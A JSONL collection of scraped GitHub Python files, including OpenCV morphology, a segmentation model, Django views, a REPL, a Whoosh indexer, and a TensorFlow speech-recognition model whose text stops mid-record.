+{"seq_id":"9762729821","text":"import numpy as np\nimport cv2\n\n# 腐蚀操作和膨胀操作\n\nimg = cv2.imread('butterfly1.png')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# 二值化\nret, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n# binary = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 0)\n\n# kernel(卷积核核)指定一个范围矩阵,这里就是以像素点为中心的一个3*3的矩形\nkernel = np.ones((3, 3), np.uint8)\n\n# 腐蚀操作,范围内有黑则变黑\nerosion = cv2.erode(binary, kernel, iterations=1)\n\n# 膨胀操作,范围内有白就白 1:迭代次数,也就是执行几次膨胀操作\ndilate = cv2.dilate(binary, kernel, 1)\n\n# 开运算 先腐蚀再膨胀 去除毛刺\nopening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, 1)\n\n# 闭运算 线膨胀在腐蚀 填补缺陷\nclosing = cv2.morphologyEx(binary, cv2.MORPH_CLOSE, kernel)\n\n# 梯度运算 显示边缘信息 即膨胀后的图像 - 腐蚀后的图像\ngradient = cv2.morphologyEx(binary, cv2.MORPH_GRADIENT, kernel)\n\ncv2.imshow('src', binary)\ncv2.imshow('dilate', dilate)\ncv2.imshow('erosion', erosion)\ncv2.imshow('opening', opening)\ncv2.imshow('closing', closing)\ncv2.imshow('gradient', gradient)\n\ncv2.waitKey()","repo_name":"Hikiy/opencvLearn","sub_path":"erosionAndDilate.py","file_name":"erosionAndDilate.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13340946364","text":"import csv\nimport os\nimport time\nfrom functools import reduce\n\nimport pandas as pd\nimport glob\n\n\nfilepath = 'C:/Users/ENeS/Desktop/datasets/HTCprot/iteam_review'\nid_list = os.listdir(filepath)\nworry_list = []\nfor id in id_list:\n try:\n first = 0\n path = 'C:/Users/ENeS/Desktop/datasets/HTCprot/iteam_review/'+id\n with open(path, 'r', encoding='UTF-8') as f:\n reader = csv.reader(f)\n for row in reader:\n review_count = row[7].replace('review(s)','')\n if row:\n first += 1\n print('这个', '有', first - 1)\n if int(review_count) >(first-1) & (int(review_count) - first) > 5:\n print(path.split('/')[8])\n worr_id = path.split('/')[8].split('.')[0]\n worry_list.append(worr_id)\n print(worry_list,\"错误的\")\n print(len(worry_list))\n else:\n print('这个文件没问题')\n except:\n print('这个id没有评论' )\n","repo_name":"asi1117/data_collect","sub_path":"reviews_count.py","file_name":"reviews_count.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7786857511","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom simplecv.interface import CVModule\nfrom simplecv import registry\nfrom simplecv.module import resnet\nfrom simplecv.module import fpn\nimport math\nfrom simplecv.module import loss\nfrom simplecv.module.resnet import plugin_context_block2d\n\ntry:\n from module.dcn import resnet_plugin\nexcept:\n pass\n\nclass AssymetricDecoder(nn.Module):\n def __init__(self,\n in_channels,\n out_channels,\n in_feat_output_strides=(4, 8, 16, 32),\n out_feat_output_stride=4,\n norm_fn=nn.BatchNorm2d,\n num_groups_gn=None):\n super(AssymetricDecoder, self).__init__()\n if norm_fn == nn.BatchNorm2d:\n norm_fn_args = dict(num_features=out_channels)\n elif norm_fn == nn.GroupNorm:\n if num_groups_gn is None:\n raise ValueError('When norm_fn is nn.GroupNorm, num_groups_gn is needed.')\n norm_fn_args = dict(num_groups=num_groups_gn, num_channels=out_channels)\n else:\n raise ValueError('Type of {} is not support.'.format(type(norm_fn)))\n self.blocks = nn.ModuleList()\n for in_feat_os in in_feat_output_strides:\n num_upsample = int(math.log2(int(in_feat_os))) - int(math.log2(int(out_feat_output_stride)))\n\n num_layers = num_upsample if num_upsample != 0 else 1\n\n self.blocks.append(nn.Sequential(*[\n nn.Sequential(\n nn.Conv2d(in_channels if idx == 0 else out_channels, out_channels, 3, 1, 1, bias=False),\n norm_fn(**norm_fn_args) if norm_fn is not None else nn.Identity(),\n nn.ReLU(inplace=True),\n nn.UpsamplingBilinear2d(scale_factor=2) if num_upsample != 0 else nn.Identity(),\n )\n for idx in range(num_layers)]))\n\n def forward(self, feat_list: list):\n inner_feat_list = []\n for idx, block in enumerate(self.blocks):\n decoder_feat = block(feat_list[idx])\n inner_feat_list.append(decoder_feat)\n\n out_feat = sum(inner_feat_list) / 4.\n return out_feat\n\n\n@registry.MODEL.register('SemanticFPN')\nclass SemanticFPN(CVModule):\n def __init__(self, config):\n super(SemanticFPN, self).__init__(config)\n self.en = resnet.ResNetEncoder(self.config.resnet_encoder)\n self.fpn = fpn.FPN(**self.config.fpn)\n self.decoder = AssymetricDecoder(**self.config.decoder)\n self.cls_pred_conv = nn.Conv2d(self.config.decoder.out_channels, self.config.num_classes, 1)\n self.upsample4x_op = nn.UpsamplingBilinear2d(scale_factor=4)\n self.device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n if self.config.resnet_encoder.gc_blocks.on:\n self.en.resnet.layer2 = plugin_context_block2d(self.en.resnet.layer2,\n self.config.resnet_encoder.gc_blocks.ratios[0])\n self.en.resnet.layer3 = plugin_context_block2d(self.en.resnet.layer3,\n self.config.resnet_encoder.gc_blocks.ratios[1])\n self.en.resnet.layer4 = plugin_context_block2d(self.en.resnet.layer4,\n self.config.resnet_encoder.gc_blocks.ratios[2])\n\n if self.config.resnet_encoder.with_dcn[0]:\n self.en.layer1 = resnet_plugin.plugin_dcn(self.en.layer1, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[1]:\n self.en.layer2 = resnet_plugin.plugin_dcn(self.en.layer2, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[2]:\n self.en.layer3 = resnet_plugin.plugin_dcn(self.en.layer3, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[3]:\n self.en.layer4 = resnet_plugin.plugin_dcn(self.en.layer4, self.config.resnet_encoder.dcn)\n\n def forward(self, x, y=None):\n feat_list = self.en(x)\n fpn_feat_list = self.fpn(feat_list)\n final_feat = self.decoder(fpn_feat_list)\n cls_pred = self.cls_pred_conv(final_feat)\n cls_pred = self.upsample4x_op(cls_pred)\n if self.training:\n cls_true = y['cls']\n loss_dict = dict()\n if self.config.loss.binary_mode:\n assert self.config.num_classes == 1\n loss_dict.update(self.binary_cls_loss(cls_pred, cls_true))\n # iou-1\n with torch.no_grad():\n y_pred = (cls_pred.sigmoid() > 0.5).float().view(-1)\n y_true = cls_true.float().view(-1)\n inter = torch.sum(y_pred * y_true)\n union = y_true.sum() + y_pred.sum()\n loss_dict['iou-1'] = inter / torch.max(union - inter, torch.as_tensor(1e-6, device=y_pred.device))\n else:\n cls_loss_v = self.config.loss.cls_weight * self.cls_loss(cls_pred, cls_true)\n loss_dict['cls_loss'] = cls_loss_v\n\n mem = torch.cuda.max_memory_allocated() // 1024 // 1024\n loss_dict['mem'] = torch.from_numpy(np.array([mem], dtype=np.float32)).to(self.device)\n return loss_dict\n\n if self.config.num_classes > 1:\n cls_prob = torch.softmax(cls_pred, dim=1)\n else:\n cls_prob = torch.sigmoid(cls_pred)\n return cls_prob\n\n def cls_loss(self, y_pred, y_true):\n return F.cross_entropy(y_pred, y_true.long(), ignore_index=self.config.loss.ignore_index)\n\n def binary_cls_loss(self, y_pred, y_true):\n loss_dict = dict(dice_loss=self.config.loss.cls_weight * loss.dice_loss_with_logits(y_pred, y_true),\n bce_loss=self.config.loss.cls_weight * F.binary_cross_entropy_with_logits(y_pred.view(-1),\n y_true.float().view(\n -1)))\n return loss_dict\n\n def set_defalut_config(self):\n self.config.update(dict(\n resnet_encoder=dict(\n resnet_type='resnet50',\n include_conv5=True,\n batchnorm_trainable=True,\n pretrained=False,\n freeze_at=0,\n # 8, 16 or 32\n output_stride=32,\n with_cp=(False, False, False, False),\n stem3_3x3=False,\n gc_blocks=dict(\n on=False,\n ratios=(1 / 16., 1 / 16., 1 / 16.)\n ),\n norm_layer=nn.BatchNorm2d,\n with_dcn=(False, False, False, False),\n dcn=dict(fallback_on_stride=False,\n modulated=False,\n deformable_groups=1)\n ),\n fpn=dict(\n in_channels_list=(256, 512, 1024, 256),\n out_channels=256,\n conv_block=fpn.default_conv_block,\n top_blocks=None,\n ),\n decoder=dict(\n in_channels=256,\n out_channels=128,\n in_feat_output_strides=(4, 8, 16, 32),\n out_feat_output_stride=4,\n norm_fn=nn.BatchNorm2d,\n num_groups_gn=None\n ),\n num_classes=21,\n loss=dict(\n binary_mode=False,\n cls_weight=1.0,\n ignore_index=255,\n )\n ))\n\nif __name__ == '__main__':\n from simplecv.util.param_util import count_model_parameters\n sf = AssymetricDecoder(in_channels=256, out_channels=128)\n count_model_parameters(sf)\n","repo_name":"Junjue-Wang/FactSeg","sub_path":"module/semantic_fpn.py","file_name":"semantic_fpn.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"61"}
+{"seq_id":"70339468675","text":"import pytest\n\nimport ilmsdump\nfrom tests import data\n\n\n@pytest.mark.asyncio\nasync def test_downlaod(client: ilmsdump.Client):\n attachments = [a async for a in data.MATERIAL_2173495.download(client)]\n\n assert (client.get_dir_for(data.MATERIAL_2173495) / 'index.html').exists()\n\n assert attachments == [data.ATTACHMENT_2107249]\n\n\n@pytest.mark.asyncio\nasync def test_downlaod_powercam(client: ilmsdump.Client):\n attachments = [a async for a in data.MATERIAL_1518.download(client)]\n\n assert (client.get_dir_for(data.MATERIAL_1518) / 'index.html').exists()\n\n assert attachments == [data.VIDEO_1518]\n\n\n@pytest.mark.asyncio\nasync def test_download_invalid(client: ilmsdump.Client):\n invalid_material = ilmsdump.Material(\n id=0,\n title='invalid material',\n type='Econtent',\n course=data.COURSE_74,\n )\n\n with pytest.raises(ilmsdump.Unavailable):\n [a async for a in invalid_material.download(client)]\n","repo_name":"afq984/ilmsdump","sub_path":"tests/test_material.py","file_name":"test_material.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"}
+{"seq_id":"16493198531","text":"class Solution:\n def scoreOfParentheses(self, s: str) -> int:\n stack = [0]\n \n # counting (), smallest value is 1, which will increase exponentially\n for c in s:\n if c == \"(\":\n stack.append(0)\n \n else:\n v = stack.pop()\n stack[-1] += max(2*v, 1)\n \n return stack.pop()","repo_name":"ddaarrrryyll/leetcode","sub_path":"856-score-of-parentheses/856-score-of-parentheses.py","file_name":"856-score-of-parentheses.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"39195340545","text":"from django.views.generic.base import TemplateView\nfrom car_details.models import LotData\nfrom django.db.models import Count\nfrom rest_framework.response import Response\nfrom auction.models import *\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom myroot.languages import languages\nfrom django.shortcuts import render\nfrom myroot.models import OrderNow as OrderNowModel\nfrom django.conf import settings\nfrom service.auction.calculator import AuctionCalculatorService\nfrom service.validator import ValidatorService\nfrom service.recaptcha import RecaptchaService\nfrom service.auction.search import AuctionSearchService\nfrom car_details.models import KoreanLot\n\nclass HomeView(TemplateView):\n template_name = 'auction/home.html'\n\n def get(self, request, *args, **kwargs):\n context = self.get_context_data()\n response = render(request, self.template_name, context)\n return response\n\n def get_context_data(self, **kwargs):\n context = super(HomeView, self).get_context_data(**kwargs)\n context[\"lang\"] = languages[self.request.lang]\n context[\"allMakes\"] = LotData.objects.values(\"make\").annotate(total=Count('make')).order_by('make')\n context[\"allModels\"] = LotData.objects.raw(\"\"\"SELECT DISTINCT a.model, b.make, 1 AS id\n FROM (\n SELECT model, COUNT('model') AS total\n FROM LotData\n GROUP BY model\n ) a\n INNER JOIN (\n SELECT model, make\n FROM LotData\n ) b ON a.model = b.model;\"\"\")\n context[\"allLocations\"] = LotData.objects.values(\"locationName\").annotate(total=Count('locationName'))\n context[\"allYears\"] = LotData.objects.values(\"year\").annotate(total=Count('year'))\n context[\"popularMakes\"] = LotData.objects.values(\"make\").annotate(total=Count('model')).order_by('total').order_by('make')\n context[\"vehicleTypes\"] = LotData.objects.values(\"vehicleType\").annotate(total=Count('vehicleType'))\n context[\"bodyStyles\"] = LotData.objects.values(\"bodyStyle\").annotate(total=Count('bodyStyle'))\n context[\"primaryDamage\"] = LotData.objects.values(\"primaryDamage\").annotate(total=Count('primaryDamage'))\n context[\"cities\"] = Cities.objects.filter(Country=\"US\")\n context[\"auctions\"] = AuctionCompany.objects.all()\n auction_lots_service = AuctionSearchService()\n context[\"cars\"] = auction_lots_service.get_popular_lots()\n\n for bodyStyle in context[\"bodyStyles\"]:\n if bodyStyle.get('bodyStyle') in context[\"lang\"]:\n bodyStyle['bodyStyle'] = context[\"lang\"][bodyStyle.get('bodyStyle')]\n\n for primaryDamage in context[\"primaryDamage\"]:\n if primaryDamage.get('primaryDamage') in context[\"lang\"]:\n primaryDamage['primaryDamage'] = context[\"lang\"][primaryDamage.get('primaryDamage')]\n\n context[\"bodyStyles\"] = context[\"bodyStyles\"].order_by('bodyStyle')\n context[\"primaryDamage\"] = context[\"primaryDamage\"].order_by('primaryDamage')\n\n cars_with_count = []\n for car in range(len(context[\"cars\"])):\n cars_with_count.append({\"count\": car, \"details\": context[\"cars\"][car]})\n context[\"cars\"] = cars_with_count\n\n return context\n\n\nclass AdminCalculatorView(TemplateView):\n template_name = 'admin-calculator.html'\n\n\nclass OrderNow(APIView):\n\n def post(self, request):\n\n try:\n token = request.data[\"token\"] if \"token\" in request.data.keys() else None\n\n recaptcha_service = RecaptchaService(settings.RECAPTCHA_SECRET)\n token_verified = recaptcha_service.verify_token(token=token)\n\n if token_verified:\n phone = request.data[\"phone\"] if \"phone\" in request.data.keys() else None\n email = request.data[\"email\"] if \"email\" in request.data.keys() else None\n message = request.data[\"message\"] if \"message\" in request.data.keys() else None\n lotid = request.data[\"lotid\"] if \"lotid\" in request.data.keys() else None\n first_name = request.data[\"first_name\"] if \"first_name\" in request.data.keys() else None\n last_name = request.data[\"last_name\"] if \"last_name\" in request.data.keys() else None\n\n if ValidatorService.validate_email(email) or ValidatorService.validate_international_phone(phone):\n data = OrderNowModel(FirstName=first_name,LastName=last_name,Phone=phone,Email=email, Message=message, LotId=lotid)\n data.save()\n return Response({},status=status.HTTP_200_OK)\n else:\n return Response({},status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response({}, status=status.HTTP_200_OK)\n\n except Exception as e:\n print(e, request.data)\n return Response({}, status=status.HTTP_200_OK)\n\n\nclass GetCity(APIView):\n\n def get(self, request):\n try:\n location_id = request.GET.get(\"location\")\n city = Cities.objects.get(Id=location_id)\n return Response({\n \"country\": city.Country,\n \"city\": city.Name,\n \"state\": city.State,\n \"port\": city.Port\n })\n except Exception as e:\n return Response({\"country\": \"\", \"city\": \"\", \"state\": \"\", \"port\": \"\"})\n\nclass Calculator(APIView):\n\n def get(self, request):\n lot_id = request.GET.get(\"lot_id\")\n to_country = request.GET.get(\"to_country\")\n bid = request.GET.get(\"bid\")\n auction_calculator = AuctionCalculatorService()\n auction_calculator.calculate_by_lotid(lot_id, bid, to_country)\n response = auction_calculator.json()\n return Response(response)\n\nclass KoreanListView(TemplateView):\n template_name = 'auction/korean-list.html'\n\n def get(self, request):\n context = self.get_context_data()\n context[\"lang\"] = languages[request.lang]\n context[\"korean_lots\"] = KoreanLot.objects.all()\n response = render(request, self.template_name, context)\n return response\n","repo_name":"imjayyy/autotrader","sub_path":"autotrader_web/myroot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72530998913","text":"\"\"\"\n\nreminder: https://docs.python.org/3/library/cmd.html\n\"\"\"\n##-- imports\nfrom __future__ import annotations\n\nimport cmd\nimport logging as logmod\nimport sys\nimport traceback\nfrom dataclasses import InitVar, dataclass, field\nfrom typing import (Any, Callable, ClassVar, Dict, Generic, Iterable, Iterator,\n List, Mapping, Match, MutableMapping, Optional, Sequence,\n Set, Tuple, TypeVar, Union, cast)\n\nimport acab\nimport pyparsing as pp\nfrom acab.error.base import AcabBasicException\nfrom acab_config import AcabConfigException\nfrom acab.error.parse import AcabParseException\nfrom acab.interfaces.context import ContextSet_i\nfrom acab.interfaces.engine import AcabEngine_i\nfrom acab.modules.repl import ReplParser as RP\n\nfrom .repl_state import ReplState\n\n##-- end imports\n\n##-- logging\nlogging = logmod.getLogger(__name__)\ntrace_logger = logmod.getLogger('acab.repl.trace')\n##-- end logging\n\n##-- config\nconfig = acab.config\ninitial_prompt = config.module.REPL.PROMPT\ntry:\n repl_intro = config.module.REPL.intro\nexcept AcabConfigException:\n repl_intro = [\"Welcome to ACAB.\", \"Type 'help' or '?' to list commands.\", \"Type 'tutorial' for a tutorial.\", \"Type ':q' to quit.\"]\n\n##-- end config\n\nclass AcabREPLCommander(cmd.Cmd):\n \"\"\" Implementation of cmd.Cmd to provide an extensible ACAB REPL\"\"\"\n intro = \"\\n\".join(repl_intro)\n prompt = initial_prompt + \": \"\n _latebind = []\n _default_startups : ClassVar[list[Callable[..., Any]]] = []\n\n state : ReplState = ReplState()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for inst in self._latebind:\n assert(getattr(inst, \"_repl\") is None)\n setattr(inst, \"_repl\", self)\n\n for fn in self._default_startups:\n fn(self, \"\")\n\n def default(self, line):\n \"\"\" Called when no other command matches \"\"\"\n # default to assertion / query / run\n try:\n self.state.ctxs = self.state.engine(line,\n ctxset=self.state.ctxs)\n except AcabParseException as err:\n print(str(err))\n except AcabBasicException as err:\n logging.warning(\"\\n--------------------\\nFailure:\\n\")\n traceback.print_tb(err.__traceback__)\n logging.warning(f\"\\n{err.args[-1]}\\n\")\n print(str(err))\n\n def precmd(self, line):\n \"\"\" For massaging the input command \"\"\"\n # convert symbols -> cmd names.\n # eg: ':{' -> multi\n trace_logger.info(\"[repl]>>> \" + line)\n try:\n logging.debug(\"PreCmd Parsing: {}\".format(line))\n line = RP.precmd_parser.parse_string(line)[:]\n logging.debug(\"PreCmd Result:{}\".format(line))\n # Intercept if in multi line state\n if self.state.in_multi_line and not line[0] in [\"multi\", \"pop\", \"exit\", \"echo\"]:\n logging.info(\"In Multi\")\n line = [\"collect\"] + line\n\n if bool(self.state.echo):\n print(f\"{line}\")\n\n\n\n return \" \".join(line)\n\n except pp.ParseException as err:\n traceback.print_tb(err.__traceback__)\n logging.warning(f\"Parse Failure: {err.markInputline()}\")\n\n def onecmd(self, line):\n try:\n return super(AcabREPLCommander, self).onecmd(line)\n except Exception as err:\n traceback.print_tb(err.__traceback__)\n print(f\"\\n{err.args[-1]}\\n\")\n\n def postcmd(self, stop, line):\n \"\"\"\n Update the repl prompt to display number of viable contexts\n \"\"\"\n for name, hook in sorted(self.state.post_cmds.items()):\n hook(self)\n\n return stop\n\n def parseline(self, line):\n \"\"\"Parse the line into a command name and a string containing\n the arguments. Returns a tuple containing (command, args, line).\n 'command' and 'args' may be None if the line couldn't be parsed.\n \"\"\"\n if not self.state.in_multi_line:\n line = line.strip()\n\n if not line:\n return None, None, line\n elif line[0] == '?':\n line = 'help ' + line[1:]\n elif line[0] == '!':\n if hasattr(self, 'do_shell'):\n line = 'shell ' + line[1:]\n else:\n return None, None, line\n\n # split into cmd and args\n i, n = 0, len(line)\n while i < n and line[i] in self.identchars: i = i+1\n cmd, arg = line[:i], line[i:]\n\n if not self.state.in_multi_line:\n arg = arg.strip()\n\n return cmd, arg, line\n\n def emptyline(self):\n \"\"\" Overrides default of 'repeat last command',\n and prints the working memory\n \"\"\"\n return self.onecmd(\"print wm\")\n\n\n @classmethod\n def register(cls, fn):\n \"\"\" Decorator for registering a function into the repl \"\"\"\n logging.debug(f\"{cls.__name__} Registration: {fn.__name__}\")\n assert(\"do_\" in fn.__name__)\n assert(fn.__name__ not in dir(cls))\n setattr(cls, fn.__name__, fn)\n return fn\n\n @classmethod\n def register_class(cls, name):\n \"\"\" Register an entire class as the command bound to do_{name},\n (specifically the class' __call__ method)\n \"\"\"\n def __register(target_cls):\n assert(hasattr(target_cls, \"__call__\"))\n assert(hasattr(cls, \"_latebind\"))\n if (not bool(target_cls.__call__.__doc__)) and bool(target_cls.__doc__):\n target_cls.__call__.__doc__ = target_cls.__doc__\n\n instance = target_cls()\n assert(not hasattr(target_cls, \"_repl\"))\n setattr(cls, f\"do_{name}\", instance.__call__)\n setattr(instance, \"_repl\", None)\n\n cls._latebind.append(instance)\n return target_cls\n\n return __register\n\n\n @classmethod\n def register_default(cls, fn):\n \"\"\"\n Register and automatically call the function when REPLCommander is created.\n eg: register_default(do_ctxprompt) means the repl will show active context numbers\n from startup\n\n \"\"\"\n assert(hasattr(cls, \"_default_startups\"))\n cls.register(fn)\n cls._default_startups.append(fn)\n\n\n##-- utils\nregister = AcabREPLCommander.register\nregister_class = AcabREPLCommander.register_class\nregister_default = AcabREPLCommander.register_default\n\n##-- end utils\n","repo_name":"jgrey4296/acab","sub_path":"acab/modules/repl/repl_commander.py","file_name":"repl_commander.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"}
+{"seq_id":"11685652107","text":"# Robert Juall\n# CSCI 330\n# Prof. Hill\n# Information Retrieval\n# December 5, 2017\n\nimport os\nfrom whoosh.fields import Schema, TEXT, ID\nfrom whoosh.analysis import FancyAnalyzer\nfrom whoosh import index\n\n\n# Function takes the folder name as input (no punctuation)\n# and indexes all the text files within.\n# Running this function will ERASE any existing index.\ndef create_index(docfolder):\n\n # The schema for this index only has 2 fields:\n # The filename for the document\n # The body text of the document\n schema = Schema(\n docname=ID(stored=True),\n # The analyzer for this index includes:\n # A stop word filter\n # A regex tokenizer\n # A minimum word size of 2\n # SEE http://whoosh.readthedocs.io/en/latest/api/analysis.html#whoosh.analysis.FancyAnalyzer\n text=TEXT(analyzer=FancyAnalyzer())\n )\n\n if not os.path.exists(\"indexdir\"):\n os.mkdir(\"indexdir\")\n # This command will erase any existing index at indexdir/\n ix = index.create_in(\"indexdir\", schema)\n\n writer = ix.writer()\n\n # Iterate through the docs in the docfolder\n # and read the body text into the search index\n for filename in os.listdir(docfolder):\n with open(docfolder + '/' + filename, 'r') as file:\n writer.add_document(docname=filename, text=file.read())\n writer.commit()\n\n print(\"Index Created!\")\n\n return\n","repo_name":"RJuall/inform_retrieval_csci330","sub_path":"create_index.py","file_name":"create_index.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"736491247","text":"class Queues:\n def __init__(self, size: int):\n self.size = size\n self.queue = [None] * self.size\n self.start = 0\n self.end = 0\n\n def add(self, element: int):\n if self.end == self.size:\n print(\"Queue is full\")\n else:\n self.queue[self.end] = element\n self.end += 1\n\n def remove(self):\n if self.is_empty():\n print(\"Queue is empty, can't remove the element.\")\n else:\n self.queue[self.start] = None\n self.start += 1\n\n def peek(self) -> int:\n if not self.is_empty():\n return self.queue[self.start]\n else:\n print(\"queue is empty\")\n\n def is_empty(self) -> bool:\n return self.start == self.end\n\n\nif __name__ == '__main__':\n my_queue = Queues(5)\n my_queue.add(3)\n my_queue.add(4)\n my_queue.add(5)\n my_queue.add(9)\n my_queue.add(2)\n my_queue.add(1)\n print(my_queue.peek())\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.peek()","repo_name":"samruddhi221/Python_DS_Algo","sub_path":"DataStructures/queue_.py","file_name":"queue_.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"30215036540","text":"#-*- encoding:utf-8 -*-\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.layers.core import Dense\nimport random\nimport model_module\nimport time\nimport h5py\nimport pickle\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n#from tensorflow.python.data.experimental import AUTOTUNE\nclass Attention_sr_model:\n def __init__(self,\n phn2ind,\n ind2phn,\n save_path,\n mode,\n feature_dim,\n num_layer_encoder,\n num_layer_decoder,\n embedding_dim,\n rnn_size_encoder,\n rnn_size_decoder,\n learning_rate = 1e-4,\n learning_rate_decay = 0.98,\n learning_rate_decay_steps = 1000,\n keep_probability_e = 1.0,\n batch_size = 32,\n beam_width = 10,\n epochs = 100,\n eos = \"\",\n sos = \"\",\n pad = \"\",\n clip = 3,\n embedding_model = None,\n dataset_path = None,\n test_paths = None,\n summary_dir = None,\n valid_path = None,\n dataset_root = None,\n num_gpu_device = 2,\n is_training = True,\n is_testing = False):\n '''\n 参数解释:\n phn2ind:Phoneme to index conversion dictionary\n ind2phn:Index to phoneme conversion dictionary\n save_path:tensorflow生成的模型存储位置\n mode:\n 'TRAIN'\n 'INFER'\n feature_dim:Feature dimension\n num_layer_encoder:Number of layers of rnn in the encoder\n num_layer_decoder:Number of layers of rnn in the decoder\n rnn_size_encoder:Number of hidden nodes of lstm / gru in the encoder\n rnn_size_decoder:Number of hidden nodes of lstm / gru in the dencoder\n embedding_dim:number of dimensions of embedding_matrix, each phoneme will be mapped to such a long vector\n learning_rate:Initial learning rate\n learning_rate_decay:The decay rate of the learning rate is generally used in conjunction with learning_rate_decay_steps\n learning_rate_decay_steps:Attenuation steps for learning rate\n keep_probability_e:embedding retention\n batch_size:Size of each mini-batch\n beam_width:Beam branch shear width, used when mode = 'INFER'\n epochs:Number of training iterations for the entire data set\n eos:end of sentence\n sos:start of sentence\n pad:做的padding\n clip:To prevent gradient explosions, you can choose to use clipping\n summary_dir:Put the stored summary into that address\n '''\n #Initialize all parameters\n #Detect the number of GPUs in the system hardware\n self.num_gpu_device = num_gpu_device\n self.phn2ind = phn2ind\n self.ind2phn = ind2phn\n self.num_classes = len(phn2ind)\n self.feature_dim = feature_dim\n self.num_layer_encoder = num_layer_encoder\n self.num_layer_decoder = num_layer_decoder\n self.rnn_size_encoder = rnn_size_encoder\n self.rnn_size_decoder = rnn_size_decoder\n self.save_path = save_path\n self.embedding_dim = embedding_dim\n self.mode = mode.upper()\n self.learning_rate = learning_rate\n self.learning_rate_decay = learning_rate_decay\n self.learning_rate_decay_steps = learning_rate_decay_steps\n self.keep_probability_e = keep_probability_e\n self.sampling_probability = 0.1\n self.batch_size = batch_size\n self.beam_width = beam_width\n self.eos = eos\n self.sos = sos\n self.pad = pad\n self.clip = clip\n self.epochs = epochs\n self.embedding_model = embedding_model\n self.summary_dir = summary_dir\n self.dataset_path = dataset_path\n self.test_paths = test_paths\n self.valid_path = valid_path\n self.dataset_root = dataset_root\n self.is_training = is_training\n self.is_testing = is_testing\n def build_graph(self):\n self.add_embeddings()\n if not self.is_testing:\n\n self.batch_data_extract()\n self.phone_embedded_vector = self.add_lookup_ops(self.train_phones)\n \n else:\n self.test_data_extract()\n self.build_model()\n self.saver = tf.train.Saver(max_to_keep = 5)\n def dataset_path_pickle(self,pickle_path):\n '''\n Extract all stored addresses from the pickle file\n '''\n paths = []\n with open(pickle_path,'rb') as f:\n path_list = pickle.load(f)\n for path in path_list:\n path = self.dataset_root + path\n path = path.replace('\\\\','/')\n paths.append(path)\n return paths\n def read_feature(self,item):\n '''\n Read feature\n '''\n f = h5py.File(item.decode(),'r')\n feature = np.array(f.get('feature'))\n if self.is_testing:\n pad_vector = np.zeros((20,np.shape(feature)[-1]))\n feature = np.vstack((pad_vector,feature,pad_vector))\n\n \n f.close()\n\n return feature.astype(np.float32)\n def read_label(self,item):\n '''\n read label\n '''\n f = h5py.File(item.decode(),'r')\n label = np.array(f.get('label'))\n f.close()\n label = label[1:]\n return label.astype(np.int32)\n def read_train_label(self,item):\n '''\n read label\n '''\n f = h5py.File(item.decode(),'r')\n label = np.array(f.get('label'))\n f.close()\n label = label[:-1]\n return label.astype(np.int32)\n \n def extract_data_from_path(self,path):\n '''\n Read each batch of data. Because the stored data is in h5py format, you need to support the tf.py_func function.\n When reading data at the same time, pay attention to whether it is in the test stage.\n '''\n audio_filename = path\n feature_filename = tf.string_join([tf.string_split([audio_filename],\".\").values[0],'.40logfbank'])\n #Perform feature reading\n #Read features in h5py files, while eliminating redundant dimensions\n audio_feature = tf.squeeze(tf.py_func(self.read_feature,[feature_filename],[tf.float32]))\n #Convert the read feature into a tensor, and the length of the feature should be recorded\n audio_feature = tf.convert_to_tensor(audio_feature)\n audio_length = tf.shape(audio_feature)[0]\n if self.is_testing:\n return {'audios':audio_feature,'audio_lengths':audio_length}\n else:\n #Read the target\n label_filename = tf.string_join([tf.string_split([audio_filename],\".\").values[0],'.label'])\n #Read the label in the h5py file, and you need to eliminate the extra dimensions\n target_label = tf.squeeze(tf.py_func(self.read_label,[label_filename],[tf.int32]))\n train_label = tf.squeeze(tf.py_func(self.read_train_label,[label_filename],[tf.int32]))\n\n #Convert the read label to a tensor and record the length of the label\n target_label = tf.convert_to_tensor(target_label)\n target_length = tf.shape(target_label)[0]\n train_label = tf.convert_to_tensor(train_label)\n\n return {'audios':audio_feature,'audio_lengths':audio_length,'train_label':train_label,'target_label':target_label,'target_length':target_length}\n def batch_data_extract(self):\n '''\n Settings for all inputs\n audio_features:The input voice features of a batch\n audio_feature_lengths:The length of a batch voice feature input\n 